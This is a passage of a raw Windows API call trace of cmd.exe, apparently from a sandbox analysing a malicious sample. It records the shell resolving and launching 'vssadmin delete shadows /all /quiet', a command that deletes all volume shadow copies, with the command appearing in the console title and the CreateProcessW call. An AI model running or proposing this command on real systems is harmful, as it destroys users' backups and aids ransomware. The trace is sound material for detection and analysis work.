lpUsedDefaultChar=0x0) returned 37 [0172.146] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75f4e9970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x2a3676f5f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesWritten=0x2a3676f5f8*=0x24, lpOverlapped=0x0) returned 1 [0172.146] GetProcessHeap () returned 0x20e9d8f0000 [0172.146] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x4012) returned 0x20e9d8f8e90 [0172.146] GetProcessHeap () returned 0x20e9d8f0000 [0172.146] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f8e90) returned 1 [0172.148] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0172.148] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0172.148] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0172.148] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0172.148] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0172.148] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0172.148] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0172.148] GetProcessHeap () returned 0x20e9d8f0000 [0172.148] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xb0) returned 0x20e9d9091a0 [0172.148] GetProcessHeap () returned 0x20e9d8f0000 [0172.148] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x22) returned 0x20e9d8f6330 [0172.148] GetProcessHeap () returned 0x20e9d8f0000 [0172.148] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x48) returned 0x20e9d909260 [0172.149] GetConsoleOutputCP () returned 0x4e3 [0172.540] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff75f4efbb0 | out: lpCPInfo=0x7ff75f4efbb0) returned 1 [0172.540] SetThreadUILanguage (LangId=0x0) returned 0x409 [0172.844] GetConsoleTitleW (in: lpConsoleTitle=0x2a3676f440, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0172.938] malloc (_Size=0xffce) returned 0x20e9dae0840 [0172.938] ??_V@YAXPEAX@Z () returned 0x20e9dae0840 [0172.938] malloc (_Size=0xffce) returned 0x20e9daf0820 [0172.938] ??_V@YAXPEAX@Z () returned 0x20e9daf0820 [0172.938] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0172.938] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0172.938] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0172.938] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0172.938] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0172.938] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0172.938] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0172.938] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0172.938] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0172.938] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0172.938] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0172.938] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0172.938] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0172.938] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0172.938] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0172.938] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0172.938] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0172.938] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0172.939] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0172.939] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0172.939] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0172.939] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0172.939] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0172.939] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0172.939] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0172.939] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0172.939] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0172.939] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0172.939] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0172.939] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0172.939] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0172.939] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0172.939] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0172.939] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0172.939] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0172.939] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0172.939] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0172.939] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0172.939] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0172.939] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0172.939] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0172.939] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0172.939] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0172.939] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0172.939] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0172.939] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0172.939] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0172.939] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0172.939] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0172.939] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0172.939] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0172.939] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0172.939] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0172.940] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0172.940] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0172.940] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0172.940] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0172.940] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0172.940] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0172.940] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0172.940] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0172.940] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0172.940] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0172.940] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0172.940] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0172.940] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0172.940] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0172.940] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0172.940] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0172.940] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0172.940] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0172.940] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0172.940] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0172.940] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0172.940] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0172.940] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0172.940] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0172.940] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0172.940] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0172.940] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0172.940] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0172.940] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0172.940] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0172.940] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0172.940] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0172.940] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0172.940] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0172.940] ??_V@YAXPEAX@Z () returned 0x1 [0172.940] GetProcessHeap () returned 0x20e9d8f0000 [0172.941] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xffde) returned 0x20e9d8f8e90 [0172.942] GetProcessHeap () returned 0x20e9d8f0000 [0172.942] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x5a) returned 0x20e9d9092b0 [0172.942] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0172.942] malloc (_Size=0xffce) returned 0x20e9daf0820 [0172.942] ??_V@YAXPEAX@Z () returned 0x20e9daf0820 [0172.942] GetProcessHeap () returned 0x20e9d8f0000 [0172.942] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x1ffac) returned 0x20e9d90c1e0 [0172.945] SetErrorMode (uMode=0x0) returned 0x0 [0172.945] SetErrorMode (uMode=0x1) returned 0x0 [0172.945] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20e9d90c1f0, lpFilePart=0x2a3676ecc0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x2a3676ecc0*="system32") returned 0x13 [0172.945] SetErrorMode (uMode=0x0) returned 0x1 [0172.945] GetProcessHeap () returned 0x20e9d8f0000 [0172.945] RtlReAllocateHeap (Heap=0x20e9d8f0000, Flags=0x0, Ptr=0x20e9d90c1e0, Size=0x4a) returned 0x20e9d90c1e0 [0172.945] GetProcessHeap () returned 0x20e9d8f0000 [0172.945] RtlSizeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, MemoryPointer=0x20e9d90c1e0) returned 0x4a [0172.945] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0172.945] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0172.946] GetProcessHeap () returned 0x20e9d8f0000 [0172.946] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x1b6) returned 0x20e9d908e80 [0172.946] GetProcessHeap () returned 0x20e9d8f0000 [0172.946] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x35c) returned 0x20e9d909b70 [0172.946] GetProcessHeap () returned 0x20e9d8f0000 [0172.946] RtlReAllocateHeap (Heap=0x20e9d8f0000, Flags=0x0, Ptr=0x20e9d909b70, Size=0x1b8) returned 0x20e9d909b70 [0172.946] GetProcessHeap () returned 0x20e9d8f0000 [0172.946] RtlSizeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, MemoryPointer=0x20e9d909b70) returned 0x1b8 [0172.946] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0172.946] GetProcessHeap () returned 0x20e9d8f0000 [0172.946] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xe8) returned 0x20e9d909040 [0172.946] GetProcessHeap () returned 0x20e9d8f0000 [0172.946] RtlReAllocateHeap (Heap=0x20e9d8f0000, Flags=0x0, Ptr=0x20e9d909040, Size=0x7e) returned 0x20e9d909040 [0172.946] GetProcessHeap () returned 0x20e9d8f0000 [0172.946] RtlSizeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, MemoryPointer=0x20e9d909040) returned 0x7e [0172.946] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0172.946] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2a3676ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2a3676ea30) returned 0x20e9d9090d0 [0172.947] FindClose (in: hFindFile=0x20e9d9090d0 | out: hFindFile=0x20e9d9090d0) returned 1 [0172.947] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x2a3676ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2a3676ea30) returned 0xffffffffffffffff [0172.947] GetLastError () returned 0x2 [0172.947] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x2a3676ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2a3676ea30) returned 0x20e9d9090d0 [0172.947] FindClose (in: hFindFile=0x20e9d9090d0 | out: hFindFile=0x20e9d9090d0) returned 1 [0172.947] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0172.947] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0172.947] ??_V@YAXPEAX@Z () returned 0x1 [0172.947] GetConsoleTitleW (in: lpConsoleTitle=0x2a3676efb0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0173.187] GetProcessHeap () returned 0x20e9d8f0000 [0173.187] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x21c) returned 0x20e9d8f77c0 [0173.187] GetConsoleTitleW (in: lpConsoleTitle=0x20e9d8f77d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0173.631] GetProcessHeap () returned 0x20e9d8f0000 [0173.631] RtlReAllocateHeap (Heap=0x20e9d8f0000, Flags=0x0, Ptr=0x20e9d8f77c0, Size=0xa4) returned 0x20e9d8f77c0 [0173.631] GetProcessHeap () returned 0x20e9d8f0000 [0173.631] RtlSizeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, MemoryPointer=0x20e9d8f77c0) returned 0xa4 [0173.631] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0173.937] GetProcessHeap () returned 0x20e9d8f0000 [0173.937] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f77c0) returned 1 [0173.937] InitializeProcThreadAttributeList (in: lpAttributeList=0x2a3676eed0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2a3676edc0 | out: lpAttributeList=0x2a3676eed0, lpSize=0x2a3676edc0) returned 1 [0173.937] UpdateProcThreadAttribute (in: lpAttributeList=0x2a3676eed0, dwFlags=0x0, Attribute=0x60001, lpValue=0x2a3676edac, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2a3676eed0, lpPreviousValue=0x0) returned 1 [0173.937] GetStartupInfoW (in: lpStartupInfo=0x2a3676ee60 | out: lpStartupInfo=0x2a3676ee60*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0173.937] GetProcessHeap () returned 0x20e9d8f0000 [0173.938] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x20) returned 0x20e9d8f7610 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0173.938] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0173.939] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0173.939] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0173.939] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0173.939] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0173.939] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0173.939] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0173.939] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0173.939] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0173.939] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0173.939] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0173.939] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0173.939] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0173.939] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0173.939] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0173.939] GetProcessHeap () returned 0x20e9d8f0000 [0173.939] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f7610) returned 1 [0173.939] GetProcessHeap () returned 0x20e9d8f0000 [0173.939] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x12) returned 0x20e9d8f7610 [0173.939] _get_osfhandle (_FileHandle=1) returned 0x254 [0173.939] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0173.939] _get_osfhandle (_FileHandle=0) returned 0x248 [0173.939] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0173.939] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x2a3676edf0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2a3676edc8 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x2a3676edc8*(hProcess=0x94, hThread=0x98, dwProcessId=0xec8, dwThreadId=0xecc)) returned 1 [0174.258] CloseHandle (hObject=0x98) returned 1 [0174.258] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0174.258] GetProcessHeap () returned 0x20e9d8f0000 [0174.258] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d90b6b0) returned 1 [0174.258] GetEnvironmentStringsW () returned 0x20e9d90ab80* [0174.258] GetProcessHeap () returned 0x20e9d8f0000 [0174.258] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xb24) returned 0x20e9d90b6b0 [0174.258] FreeEnvironmentStringsA (penv="=") returned 1 [0174.258] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0x2a3676e2c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2a3676e2c8, ReturnLength=0x0) returned 0x0 [0174.258] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xbc4c156000, lpBuffer=0x2a3676e300, nSize=0x7a0, lpNumberOfBytesRead=0x2a3676e2c0 | out: lpBuffer=0x2a3676e300*, lpNumberOfBytesRead=0x2a3676e2c0*=0x7a0) returned 1 [0174.258] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0186.179] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0x2a3676ed48 | out: lpExitCode=0x2a3676ed48*=0x2) returned 1 [0186.179] CloseHandle (hObject=0x94) returned 1 [0186.179] _vsnwprintf (in: _Buffer=0x2a3676ef18, _BufferCount=0x13, _Format="%08X", _ArgList=0x2a3676ed58 | out: _Buffer="00000002") returned 8 [0186.180] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0186.180] GetProcessHeap () returned 0x20e9d8f0000 [0186.180] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d90b6b0) returned 1 [0186.180] GetEnvironmentStringsW () returned 0x20e9d90ab80* [0186.180] GetProcessHeap () returned 0x20e9d8f0000 [0186.180] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xb24) returned 0x20e9d90b6b0 [0186.180] FreeEnvironmentStringsA (penv="=") returned 1 [0186.180] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0186.180] GetProcessHeap () returned 0x20e9d8f0000 [0186.180] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d90b6b0) returned 1 [0186.180] GetEnvironmentStringsW () returned 0x20e9d90ab80* [0186.180] GetProcessHeap () returned 0x20e9d8f0000 [0186.180] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xb24) returned 0x20e9d90b6b0 [0186.180] FreeEnvironmentStringsA (penv="=") returned 1 [0186.180] GetProcessHeap () returned 0x20e9d8f0000 [0186.180] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f7610) returned 1 [0186.180] DeleteProcThreadAttributeList (in: lpAttributeList=0x2a3676eed0 | out: lpAttributeList=0x2a3676eed0) [0186.180] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0186.313] ??_V@YAXPEAX@Z () returned 0x1 [0186.313] _get_osfhandle (_FileHandle=1) returned 0x254 [0186.313] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0186.313] _get_osfhandle (_FileHandle=1) returned 0x254 [0186.313] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff75f4efc08 | out: lpMode=0x7ff75f4efc08) returned 0 [0186.313] _get_osfhandle (_FileHandle=0) returned 0x248 [0186.313] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff75f4efc0c | out: lpMode=0x7ff75f4efc0c) returned 0 [0186.313] GetConsoleOutputCP () returned 0x4e3 [0186.491] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff75f4efbb0 | out: lpCPInfo=0x7ff75f4efbb0) returned 1 [0186.491] SetThreadUILanguage (LangId=0x0) returned 0x409 [0186.924] GetProcessHeap () returned 0x20e9d8f0000 [0186.924] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d909040) returned 1 [0186.924] GetProcessHeap () returned 0x20e9d8f0000 [0186.924] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d909b70) returned 1 [0186.924] GetProcessHeap () returned 0x20e9d8f0000 [0186.925] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d908e80) returned 1 [0186.925] GetProcessHeap () returned 0x20e9d8f0000 [0186.925] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d90c1e0) returned 1 [0186.925] GetProcessHeap () returned 0x20e9d8f0000 [0186.925] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d9092b0) returned 1 [0186.925] GetProcessHeap () returned 0x20e9d8f0000 [0186.925] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f8e90) returned 1 [0186.925] GetProcessHeap () returned 0x20e9d8f0000 [0186.925] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d909260) returned 1 [0186.925] GetProcessHeap () returned 0x20e9d8f0000 [0186.925] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f6330) returned 1 [0186.925] GetProcessHeap () returned 0x20e9d8f0000 [0186.925] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d9091a0) returned 1 [0186.925] _vsnwprintf (in: _Buffer=0x7ff75f4f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2a3676f2f8 | out: _Buffer="\r\n") returned 2 [0186.925] _get_osfhandle (_FileHandle=1) returned 0x254 [0186.925] GetFileType (hFile=0x254) returned 0x3 [0186.925] _get_osfhandle (_FileHandle=1) returned 0x254 [0186.925] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0186.925] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75f4e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2a3676f2c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesWritten=0x2a3676f2c8*=0x2, lpOverlapped=0x0) returned 1 [0186.926] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0186.926] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20e9dac0080 | out: 